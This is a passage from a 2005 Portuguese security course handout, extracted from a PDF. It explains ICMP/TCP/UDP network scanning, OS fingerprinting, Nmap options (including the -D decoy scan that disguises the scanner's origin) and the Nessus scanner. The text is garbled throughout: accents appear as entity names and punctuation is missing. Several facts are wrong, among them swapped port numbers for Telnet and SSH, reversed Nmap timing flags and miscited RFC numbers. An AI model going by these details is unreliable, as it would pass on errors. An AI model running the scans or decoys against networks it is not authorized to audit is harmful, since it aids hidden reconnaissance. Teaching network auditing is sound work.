wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( 